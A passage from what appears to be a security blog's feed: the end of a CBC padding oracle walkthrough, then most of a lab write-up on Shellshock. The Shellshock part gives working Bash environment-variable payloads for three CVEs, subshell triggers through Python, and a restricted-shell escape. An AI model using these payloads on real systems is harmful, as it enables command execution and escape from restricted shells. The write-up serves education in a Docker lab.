&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;load_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;./posts/matasano/assets/17.txt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;enc_cbc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;pkcs#7&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cfg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;iv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;plaintexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks.block_ciphers&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;decrypt_cbc_padding_attack&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;brokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;decrypt_cbc_padding_attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bsize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;decrypt_and_unpad_oracle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="c1"&gt;# byexample: +timeout 20&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;brokens&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpad&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;pkcs#7&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;brokens&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintexts&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;brokens&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;brokens&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;000000Now that the party is jumping&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;000001With the bass kicked in and the Vega&amp;#39;s are pumpin&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;000002Quick to the point, to the point, no faking&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;000003Cooking MC&amp;#39;s like a pound of bacon&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;000004Burning &amp;#39;em, if you ain&amp;#39;t quick and nimble&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;000005I go crazy when I hear a cymbal&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;000006And a high hat with a souped up tempo&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;000007I&amp;#39;m on a roll, it&amp;#39;s time to go solo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s2"&gt;&amp;quot;000008ollin&amp;#39; in my five point oh&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="s1"&gt;&amp;#39;000009ith my rag-top down so my hair can blow&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2018/10/28/CBC-Padding-Oracle.html" rel="alternate" type="text/html" title="CBC Padding Oracle Attack"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="CBC" label="CBC"/>
    <category term="cipher block chaining" label="cipher block chaining"/>
    <category term="padding oracle" label="padding oracle"/>
    <published>2018-10-28T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/10/01/Magic-Bash-Runes.html</id>
    <title>() { Magic Bash Runes</title>
    <updated>2018-10-01T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;Despite of been 4 years old, &lt;code&gt;Shellshock&lt;/code&gt; is still a very interesting topic to me not for the vulnerability itself but for the large ways to trigger it even in the most unexpected places.&lt;/p&gt;
&lt;p&gt;Take the 4 characters &lt;code&gt;() {&lt;/code&gt; and open the world.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9iYXNoL3NoZWxsc2hvY2svcnVuZXMucG5nJyAvPgpGcmFnbWVudHMgZm91bmQgaW4gdGhlIGZpZWxkLgptYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9iYXNoL3NoZWxsc2hvY2svcnVuZXMucG5nJyAvPgpGcmFnbWVudHMgZm91bmQgaW4gdGhlIGZpZWxkLgptYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/bash/shellshock/runes.png' /&gt;
Fragments found in the field.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Creativity and few hours reading man pages are all what you need.&lt;!--more--&gt;&lt;/p&gt;
&lt;h3 id="lab"&gt;Lab&lt;/h3&gt;
&lt;p&gt;For the following examples I created a docker image that compiles a vulnerable Bash version.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkJhc2VkIG9uIHRoaXMgW0RvY2tlcmZpbGVdKGh0dHBzOi8vZ2l0aHViLmNvbS90aWFub24vZG9ja2VyLWJhc2gvdHJlZS9tYXN0ZXIvNC4xKQptYXJnaW5ub3Rlcw==' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkJhc2VkIG9uIHRoaXMgW0RvY2tlcmZpbGVdKGh0dHBzOi8vZ2l0aHViLmNvbS90aWFub24vZG9ja2VyLWJhc2gvdHJlZS9tYXN0ZXIvNC4xKQptYXJnaW5ub3Rlcw==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Based on this &lt;a href="https://github.com/tianon/docker-bash/tree/master/4.1"&gt;Dockerfile&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;From &lt;a href="/assets/bash/shellshock/"&gt;here&lt;/a&gt; you can download the Dockerfile and the rest of the files and build the image yourself:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;build&lt;span class="w"&gt; &lt;/span&gt;-t&lt;span class="w"&gt; &lt;/span&gt;shellshock&lt;span class="w"&gt; &lt;/span&gt;.&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&amp;lt;...&amp;gt;
Successfully&lt;span class="w"&gt; &lt;/span&gt;tagged&lt;span class="w"&gt; &lt;/span&gt;shellshock:latest
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;From there, run the following to get a temporal shell:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;-it&lt;span class="w"&gt; &lt;/span&gt;--rm&lt;span class="w"&gt;  &lt;/span&gt;--cap-add&lt;span class="o"&gt;=&lt;/span&gt;NET_ADMIN&lt;span class="w"&gt; &lt;/span&gt;shellshock&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;If the &lt;code&gt;--cap-add=NET_ADMIN&lt;/code&gt; looks to you a little suspicious, I don’t blame you. The flag is needed to run the OpenVPN examples.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Then, to run the SSH examples you need to run the SSH server:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;/usr/sbin/sshd&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +fail-fast&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And for the OpenVPN examples, you need to create a TUN device:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/dev/net
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;/dev/net/tun&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;mknod&lt;span class="w"&gt; &lt;/span&gt;/dev/net/tun&lt;span class="w"&gt; &lt;/span&gt;c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +fail-fast&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;!--
$ ssh -p 2201 127.0.0.1 'ls'        # byexample: +pass
$ ssh -p 2202 127.0.0.1 'ls'        # byexample: +pass
--&gt;
&lt;h2 id="magic-bash-runes"&gt;Magic Bash runes&lt;/h2&gt;
&lt;p&gt;Bash allows to write a function definition inside of an environment variable and pass it to a subshell.&lt;/p&gt;
&lt;p&gt;The only requirement is that the definition must begin with the magic &lt;code&gt;() {&lt;/code&gt; four bytes.&lt;/p&gt;
&lt;h2 id="cve-2014-6271-cmd"&gt;CVE-2014-6271: &lt;code&gt;() { :;}; CMD&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;When Bash passes that env var, it will detect the &lt;code&gt;() {&lt;/code&gt; prefix and it will parse &lt;em&gt;and&lt;/em&gt; execute the remaining function definition.&lt;/p&gt;
&lt;p&gt;The bug happen because Bash will not stop after the function’s end but it will continue parsing and executing the rest &lt;code&gt;CMD&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Try this in the lab:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { :; }; /bin/echo vuln&amp;#39;&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;X
$&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;echo &amp;quot;foo&amp;quot;&amp;#39;&lt;/span&gt;
vuln
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;!--
$ unset X   # byexample: +pass
--&gt;
&lt;p&gt;Or, in one line:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { :; }; /bin/echo vuln&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;echo &amp;quot;foo&amp;quot;&amp;#39;&lt;/span&gt;
vuln
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you are vulnerable, that command should print &lt;code&gt;vuln&lt;/code&gt; (and probably it will crash too).&lt;/p&gt;
&lt;p&gt;Because the bug happens in a very early phase, &lt;code&gt;CMD&lt;/code&gt; must be with the full path (&lt;code&gt;PATH&lt;/code&gt; may not exist)&lt;/p&gt;
&lt;h3 id="cve-2014-7169-function-a-a-bash--c-file-cmd"&gt;CVE-2014-7169: &lt;code&gt;() { function a a&amp;gt;\&lt;/code&gt; &amp;amp; &lt;code&gt;bash -c "FILE CMD"&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The incantation of these runes has two parts.&lt;/p&gt;
&lt;p&gt;Imagine the following command that prints two words:&lt;/p&gt;
&lt;!-- no colors for this --&gt;
&lt;pre&gt;&lt;code&gt;$ echo echo vuln
echo vuln&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first &lt;code&gt;echo&lt;/code&gt; is the command and the rest its arguments: it has nothing weird on its own.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;() { function a a&amp;gt;\&lt;/code&gt; part makes a &lt;em&gt;incomplete&lt;/em&gt; function definition, in particular the fragment &lt;code&gt;a&amp;gt;\&lt;/code&gt; will redirect to a unspecified file the output and Bash will complete the definition with the &lt;em&gt;next input&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;And here is where the magic happens.&lt;/p&gt;
&lt;p&gt;The first &lt;code&gt;echo&lt;/code&gt; will &lt;em&gt;not&lt;/em&gt; be the command but the name of the file to redirect the output.&lt;/p&gt;
&lt;p&gt;The rest of the input &lt;code&gt;echo vuln&lt;/code&gt; will be interpreted as a full command: that means that the first argument is converted to the name of a command.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { function a a&amp;gt;\&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;echo echo vuln&amp;quot;&lt;/span&gt;
&amp;lt;...&amp;gt;

$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;
vuln
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;!--
$ rm -f echo    # clean up
--&gt;
&lt;p&gt;Instead of printing the literal &lt;code&gt;"echo vuln"&lt;/code&gt; string and cat-ing an inexistent file &lt;code&gt;"echo"&lt;/code&gt;, a vulnerable Bash will execute the first argument and it will redirect its output to a file named &lt;code&gt;"echo"&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here is another example.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;echo $0 $1 | hd&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;A&lt;span class="w"&gt; &lt;/span&gt;B
&lt;span class="m"&gt;00000000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;41&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;42&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;0a&lt;span class="w"&gt;                                       &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;A&lt;span class="w"&gt; &lt;/span&gt;B.&lt;span class="p"&gt;|&lt;/span&gt;
&lt;span class="m"&gt;00000004&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If the attacker controls &lt;code&gt;$0&lt;/code&gt; and &lt;code&gt;$1&lt;/code&gt;, he can trigger the vuln setting &lt;code&gt;$0&lt;/code&gt; to the command of his desire and &lt;code&gt;$1&lt;/code&gt; to &lt;code&gt;#&lt;/code&gt; to comment out the pipe (the arguments must be without quotes, &lt;code&gt;"$1"&lt;/code&gt; will not work).&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { function a a&amp;gt;\&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;echo id # | hd&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;
&amp;lt;...&amp;gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;!--
$ rm -f echo    # clean up
--&gt;
&lt;p&gt;Another example, a shorter variant with less runes needed:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { (a)=&amp;gt;\&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;echo id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;
&amp;lt;...&amp;gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;!--
$ rm -f echo    # clean up
--&gt;
&lt;h3 id="cve-2014-6278-_-_-cmd"&gt;CVE-2014-6278: &lt;code&gt;() { _; } &amp;gt;_[$($())] { CMD }&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The interesting thing is that this doesn’t look like a parsing bug but a feature.&lt;/p&gt;
&lt;p&gt;I was succeeded to trigger this one in a vulnerable VM from &lt;a href="https://pentesterlab.com/exercises/cve-2014-6271"&gt;PentesterLab&lt;/a&gt; but I couldn’t trigger it in my own lab.&lt;/p&gt;
&lt;p&gt;Here is how it should be invoked:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { _; } &amp;gt;_[$($())] { /bin/sleep 5 }&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;date&amp;#39;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;# byexample: +skip&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="subshells-from-python-ruby"&gt;Subshells from Python, Ruby&lt;/h2&gt;
&lt;p&gt;It is not necessary to run Bash directly to trigger the vuln.&lt;/p&gt;
&lt;p&gt;Any process that pass the env variables to a vulnerable Bash is enough:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { :; }; echo &amp;quot;vuln&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;python&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;import os; os.system(&amp;quot;ls&amp;quot;)&amp;#39;&lt;/span&gt;
vuln
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Python’s &lt;code&gt;os.system&lt;/code&gt; spawns a shell, typically &lt;code&gt;/bin/sh&lt;/code&gt; and runs inside it the given command.&lt;/p&gt;
&lt;p&gt;The trick is that &lt;code&gt;/bin/sh&lt;/code&gt; in some mainstream systems is a link to &lt;code&gt;/bin/bash&lt;/code&gt;, enabling the bug to other interpreters.&lt;/p&gt;
&lt;p&gt;Python, Ruby, virtually any software the spawn a subshell is affected.&lt;/p&gt;
&lt;h2 id="restricted-bash-bypass"&gt;Restricted Bash bypass&lt;/h2&gt;
&lt;p&gt;We cannot trigger the vuln if the shell spawned is in restricted mode&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { :;}; /bin/echo vuln&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;echo baz&amp;#39;&lt;/span&gt;
baz
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is because:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“A restricted shell […] (does not allow) importing function definitions from the shell environment at startup”&lt;/p&gt;
&lt;footer&gt;
&lt;a href="https://linux.die.net/man/1/bash"&gt;bash(1)&lt;/a&gt;, &lt;em&gt;Restricted shell&lt;/em&gt;
&lt;/footer&gt;
&lt;/blockquote&gt;
&lt;p&gt;But the same man page gives us a way to escape: nothing prevent us to trigger the vuln &lt;em&gt;within&lt;/em&gt; the restricted shell:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“When a command that is found to be a shell script is executed […], rbash turns off any restrictions in the shell spawned to execute the script.”&lt;/p&gt;
&lt;footer&gt;
&lt;a href="https://linux.die.net/man/1/bash"&gt;bash(1)&lt;/a&gt;, &lt;em&gt;Restricted shell&lt;/em&gt;
&lt;/footer&gt;
&lt;/blockquote&gt;
&lt;p&gt;The only thing that we need is just an executable shell script in the &lt;code&gt;PATH&lt;/code&gt; to target it:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;cat&lt;span class="w"&gt; &lt;/span&gt;/bin/egrep
&lt;span class="c1"&gt;#!/bin/sh&lt;/span&gt;
&lt;span class="nb"&gt;exec&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;-E&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$@&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;

$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;X&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;() { :;}; /bin/echo vuln&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bash&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;-c&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;egrep&amp;#39;&lt;/span&gt;
vuln
&amp;lt;...&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This may allow you to escape from the restricted shell or at least it will allow you to perform some prohibited actions like &lt;code&gt;cd&lt;/code&gt; or redirections:&lt;/p&gt;
